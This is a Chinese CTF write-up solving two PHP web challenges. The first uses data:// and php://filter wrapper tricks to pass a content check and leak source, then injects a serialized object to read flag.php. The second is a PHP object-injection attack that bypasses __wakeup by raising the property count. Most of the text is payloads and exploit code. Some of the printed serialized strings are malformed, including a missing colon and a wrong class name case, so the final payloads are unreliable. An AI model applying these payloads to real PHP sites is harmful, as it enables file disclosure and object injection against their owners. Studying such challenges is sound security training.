[ZJCTF 2019]NiZhuanSiWei
?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
首先代码审计得需要get传参,text,file,password,三个参数。
首先是text,必须存在且文件内容为“welcome to the zjctf”,可以利用php伪协议中data协议进行数据读写
payload:
text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
然后是file,参数值不能含有flag字段,根据注释提示,可以看看usless.php文件的内容,还是用php伪协议,
payload:
file=php://filter/read=convert.base64-encode/resource=useless.php
综上,总的payload
text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php
解码的
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
Flag
类有一个公共属性$file
,用于存储文件名。__toString
是一个魔术方法,当对象被当作字符串使用时(例如echo
或字符串拼接),该方法会被自动调用。在
__toString
方法中,如果$file
属性已设置,则会读取$file
指定的文件内容并输出,同时返回字符串"U R SO CLOSE !///COME ON PLZ"
。
所以将file的值设为flag.php即可
<?php
class Flag {
public $file = "flag.php";
}
$obj = new Flag();
echo serialize($obj);
?>
代码运行结果
O:4:"flag":1:{s:4"file";s:8:"flag.php";}
所以整道题的payload
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
[极客大挑战 2019]PHP1
启动靶机,看源码都得不到有用信息,然后用dirsearch扫描一下,
发现一个压缩包,解压得到几个文件,在flag.php中的flag是错的,然后看index.php文件
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>
包含了class.php文件,然后get传参再反序列化,再看class.php文件
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
代码审计得需要让username=admin,pasword=100,同时还得绕过_wakeup这一魔术方法
解题代码
<?php
class Name{
private $username = 'admin';
private $password = 100;
}
$name=new Name;
$str=serialize($name);
echo $str;
?>
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
由于用的修饰符是private,所以在Name和username中间是有一个空格的
空格并没有被实例化,所以将空格改为%00,又要绕过_wakeup,需要把2改为3,
payload
?select=O:4:"Name":3{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}
得到flag